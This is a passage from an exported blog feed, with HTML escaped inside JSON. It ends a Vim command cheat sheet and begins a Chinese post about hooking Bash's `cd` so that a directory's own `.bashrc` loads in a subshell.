[x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t]! [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Undo-x2F-Redo-x2F-Repeat\"\u003e\u003ca href=\"#Undo-x2F-Redo-x2F-Repeat\" class=\"headerlink\" title=\"Undo\u0026#x2F;Redo\u0026#x2F;Repeat\"\u003e\u003c/a\u003eUndo\u0026#x2F;Redo\u0026#x2F;Repeat\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eu\u003c/td\u003e\u003ctd\u003eUndo [count] changes.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:u[ndo]\u003c/td\u003e\u003ctd\u003eUndo one change.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eCTRL-R\u003c/td\u003e\u003ctd\u003eRedo [count] changes which were undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:red[o]\u003c/td\u003e\u003ctd\u003eRedo one change which was undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eU\u003c/td\u003e\u003ctd\u003eUndo all latest changes on one line. {Vi: while not moved off of it}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e.\u003c/td\u003e\u003ctd\u003eRepeat last change, with count replaced with [count].\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Moving-Around\"\u003e\u003ca href=\"#Moving-Around\" class=\"headerlink\" title=\"Moving Around\"\u003e\u003c/a\u003eMoving Around\u003c/h2\u003e\u003cp\u003eBasic motion commands:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e k h l j \u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eh or\u003c/td\u003e\u003ctd\u003e[count] characters to the left (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003el or \u003cbr\u003eor\u003c/td\u003e\u003ctd\u003e[count] characters to the right (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ek or \u003cbr\u003eor \u003cbr\u003eCTRL-P\u003c/td\u003e\u003ctd\u003e[count] lines upward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ej or \u003cbr\u003eor \u003cbr\u003eCTRL-J or \u003cbr\u003eor \u003cbr\u003eCTRL-N\u003c/td\u003e\u003ctd\u003e[count] lines downward (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cHome\u003e\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e^\u003c/td\u003e\u003ctd\u003eTo the first non-blank character of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e$ or \u003cbr\u003e\u003cEnd\u003e\u003c/td\u003e\u003ctd\u003eTo the end of the line and [count - 1] lines downward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg0 or \u003cbr\u003eg\u003cHome\u003e\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap on): To the first character of the screen line (exclusive). Differs from “0” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost character of the current line that is on the screen. Differs from “0” when the first character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg^\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the first non-blank character of the screen line (exclusive). Differs from “^” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost non-blank character of the current line that is on the screen. Differs from “^” when the first non-blank character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg$ or \u003cbr\u003eg\u0026lt;End\u0026amp;gr;\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the last character of the screen line and [count - 1] screen lines downward (inclusive). Differs from “$” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the rightmost character of the current line that is visible on the screen. Differs from “$” when the last character of the line is not on the screen or when a count is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ef{char}\u003c/td\u003e\u003ctd\u003eTo [count]’th occurrence of {char} to the right. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eF{char}\u003c/td\u003e\u003ctd\u003eTo the [count]’th occurrence of {char} to the left. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003et{char}\u003c/td\u003e\u003ctd\u003eTill before [count]’th occurrence of {char} to the right. The cursor is placed on the character left of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eT{char}\u003c/td\u003e\u003ctd\u003eTill after [count]’th occurrence of {char} to the left. The cursor is placed on the character right of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e;\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e,\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T in opposite direction [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e- \u003cminus\u003e\u003c/td\u003e\u003ctd\u003e[count] lines upward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e+ or \u003cbr\u003eCTRL-M or \u003cbr\u003e\u003cCR\u003e\u003c/td\u003e\u003ctd\u003e[count] lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e_ \u003cunderscore\u003e\u003c/td\u003e\u003ctd\u003e[count] - 1 lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-End\u003e or \u003cbr\u003eG\u003c/td\u003e\u003ctd\u003eGoto line [count], default last line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-Home\u003e or \u003cbr\u003egg\u003c/td\u003e\u003ctd\u003eGoto line [count], default first line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cS-Right\u003e or \u003cbr\u003ew\u003c/td\u003e\u003ctd\u003e[count] words forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-Right\u003e or \u003cbr\u003eW\u003c/td\u003e\u003ctd\u003e[count] WORDS forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ee\u003c/td\u003e\u003ctd\u003eForward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eE\u003c/td\u003e\u003ctd\u003eForward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cS-Left\u003e or \u003cbr\u003eb\u003c/td\u003e\u003ctd\u003e[count] words backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-Left\u003e or \u003cbr\u003eB\u003c/td\u003e\u003ctd\u003e[count] WORDS backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ege\u003c/td\u003e\u003ctd\u003eBackward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egE\u003c/td\u003e\u003ctd\u003eBackward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThese commands move over words or WORDS.\u003c/p\u003e\u003cp\u003eA word consists of a sequence of letters, digits and underscores, or a sequence of other non-blank characters, separated with white space (spaces, tabs, ). This can be changed with the ‘iskeyword’ option.\u003c/p\u003e\u003cp\u003eA WORD consists of a sequence of non-blank characters, separated with white space. An empty line is also considered to be a word and a WORD.\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e(\u003c/td\u003e\u003ctd\u003e[count] sentences backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e)\u003c/td\u003e\u003ctd\u003e[count] sentences forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{\u003c/td\u003e\u003ctd\u003e[count] paragraphs backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e}\u003c/td\u003e\u003ctd\u003e[count] paragraphs forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e]]\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘{‘ in the first column. When used after an operator, then the ‘}’ in the first column.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e][\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[[\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘{‘ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[]\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eScreen movement commands\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ez.\u003c/td\u003e\u003ctd\u003eCenter the screen on the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezt\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the top\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezb\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the bottom\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Marks\"\u003e\u003ca href=\"#Marks\" class=\"headerlink\" title=\"Marks\"\u003e\u003c/a\u003eMarks\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003em{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at cursor position (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003em’ or \u003cbr\u003em\u0026#96;\u003c/td\u003e\u003ctd\u003eSet the previous context mark. This can be jumped to with the “‘’” or “\u0026#96;\u0026#96;” command (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]ma[rk] {a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at last line number in [range], column 0. Default is cursor line.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]k{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSame as :mark, but the space before the mark name can be omitted.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{a-z}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {a-z} (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#96;{a-z}\u003c/td\u003e\u003ctd\u003eTo the mark {a-z}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#96;{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks\u003c/td\u003e\u003ctd\u003eList all the current marks (not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks {arg}\u003c/td\u003e\u003ctd\u003eList the marks that are mentioned in {arg} (not a motion command). For example:\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Searching\"\u003e\u003ca href=\"#Searching\" class=\"headerlink\" title=\"Searching\"\u003e\u003c/a\u003eSearching\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;{pattern}[\u0026#x2F;]\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;{pattern}\u0026#x2F;{offset}\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern} and go {offset} lines up or down.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;\u0026#x2F;{offset}\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern with new. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}[?]\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}?{offset}\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern} and go {offset} lines up or down\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e??{offset}\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern with new {offset}. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003en\u003c/td\u003e\u003ctd\u003eRepeat the latest “\u0026#x2F;“ or “?” [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eN\u003c/td\u003e\u003ctd\u003eRepeat the latest “\u0026#x2F;“ or “?” [count] times in opposite direction.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Selecting-Text-Visual-Mode\"\u003e\u003ca href=\"#Selecting-Text-Visual-Mode\" class=\"headerlink\" title=\"Selecting Text (Visual Mode)\"\u003e\u003c/a\u003eSelecting Text (Visual Mode)\u003c/h2\u003e\u003cp\u003eTo select text, enter visual mode with one of the commands below, and use \u003ca href=\"http://fprintf.net/vimCheatSheet.html#motion\"\u003emotion commands\u003c/a\u003e to highlight the text you are interested in. Then, use some command on the text.\u003c/p\u003e\u003cp\u003eThe operators that can be used are:\u003cbr\u003e ~ switch case\u003cbr\u003e d delete\u003cbr\u003e c change\u003cbr\u003e y yank\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e shift right\u003cbr\u003e \u0026lt; shift left\u003cbr\u003e ! filter through external command\u003cbr\u003e \u0026#x3D; filter through ‘equalprg’ option command\u003cbr\u003e gq format lines to ‘textwidth’ length \u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ev\u003c/td\u003e\u003ctd\u003estart Visual mode per character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eV\u003c/td\u003e\u003ctd\u003estart Visual mode linewise.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cEsc\u003e\u003c/td\u003e\u003ctd\u003eexit Visual mode without making any changes\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"How-to-Suspend\"\u003e\u003ca href=\"#How-to-Suspend\" class=\"headerlink\" title=\"How to Suspend\"\u003e\u003c/a\u003eHow to Suspend\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCTRL-Z\u003c/td\u003e\u003ctd\u003eSuspend Vim, like “:stop”. Works in Normal and in Visual mode. In Insert and Command-line mode, the CTRL-Z is inserted as a normal character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:sus[pend][!] or \u003cbr\u003e:st[op][!]\u003c/td\u003e\u003ctd\u003eSuspend Vim. If the ‘!’ is not given and ‘autowrite’ is set, every buffer with changes and a file name is written out. If the ‘!’ is given or ‘autowrite’ is not set, changed buffers are not written, don’t forget to bring Vim back to the foreground later!\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003cp\u003e\u003ca href=\"http://www.catb.org/hacker-emblem/\"\u003e\u003cimg src=\"http://www.catb.org/hacker-emblem/glider.png\"\u003e\u003c/a\u003e\u003c/p\u003e\u003cp\u003eDaniel Gryniewicz \u0026#x2F; \u003ca href=\"mailto:dang@fprintf.net\"\u003edang@fprintf.net\u003c/a\u003e\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"基于Bash的目录级环境配置工具","time":"2023-09-26T15:46:55Z","content":"这不比Windows爽\u003chr /\u003e\u003cp\u003e最近对于Bash愈发迷恋,几乎任何会花费我超过30秒时间的任务,我都会考虑\u003cdel\u003e打个脚先\u003c/del\u003e写个脚本搞定。再比如说写博客,这种纯输出流就很适合Vim啊,作为一个Vim\u003cdel\u003e批\u003c/del\u003e必然是原教旨主义最好啊:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020230926235753.png\" alt=\"算了截图还是用Obsidian粘吧\"\u003e\u003c/p\u003e\u003cp\u003e但是除了截图粘贴不方便外,还有一些比较难受的地方。在Obsidian里边我是能直接用插件的各种功能快速编写博客的,虽然在Bash终端环境下编写脚本确实更方便了,但是脚本一多,目录就乱的不能看力:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 强迫症是病,得治\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── deploy.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── how-much-did-i-write.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── img-uri-process.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── new-post.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9 directories, 4 files\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e三个脚本,一个是统计字数的,一个是用\u003ccode\u003esed\u003c/code\u003e处理图片链接的,还有一个是从模板新建博客的。每次打开目录看到这仨在中间总觉得很别扭。\u003c/p\u003e\u003cp\u003e除了这,还有就是用起来也不方便:前面要是不加\u003ccode\u003e./\u003c/code\u003e就能直接用就好了\u003cdel\u003e懒也是病得治\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以,需求大概就是这样:目录级别的环境变量配置,并且支持还得够完善,不能离开目录了配置还在生效,不然脚本在其他目录跑飞了想想就恐怖。\u003c/p\u003e\u003ch2 id=\"Basic-Implementation\"\u003e\u003ca href=\"#Basic-Implementation\" class=\"headerlink\" title=\"Basic Implementation\"\u003e\u003c/a\u003eBasic Implementation\u003c/h2\u003e\u003cp\u003e首先定位清楚,这个对\u003ccode\u003ecd\u003c/code\u003e的Hook只是在指令完成后,加载或者取消配置局部环境变量。因此大概实现方式和结构都有合适的选择。\u003c/p\u003e\u003cul\u003e\u003cli\u003e程序扔\u003ccode\u003e~/.bashrc\u003c/code\u003e里,或者\u003ccode\u003e/etc/profile\u003c/code\u003e里。不过我一般在GUI用konsole比较多,所以就放\u003ccode\u003e.bashrc\u003c/code\u003e里了,也方便dotfile管理。\u003c/li\u003e\u003cli\u003e把具体实现用\u003ccode\u003ealias\u003c/code\u003e赋别名为\u003ccode\u003ecd\u003c/code\u003e达到重载(或者说Hook)\u003ccode\u003ecd\u003c/code\u003e的目的。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e基于上面这两条,这是我写一个粗略实现(没干掉bash基本使用就是能用\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003ecd_hook\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# The normal cd\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e == 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026quot;\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# If the dir contains bashrc, launch the sub shell and load it\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ -f \u003cspan class=\"string\"\u003e\u0026quot;.bashrc\u0026quot;\u003c/span\u003e ] \u0026amp;\u0026amp; [ \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"subst\"\u003e$(pwd)\u003c/span\u003e\u0026quot;\u003c/span\u003e != \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"subst\"\u003e$(getent passwd $USER | awk -F \u0026#x27;:\u0026#x27; \u0026#x27;\u0026#123;print $6\u0026#125;\u0026#x27;)\u003c/span\u003e\u0026quot;\u003c/span\u003e ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epushd\u003c/span\u003e . \u0026gt; /dev/null\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e bash --init-file \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e /etc/profile ~/.bashrc .bashrc)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ealias\u003c/span\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e=\u003cspan 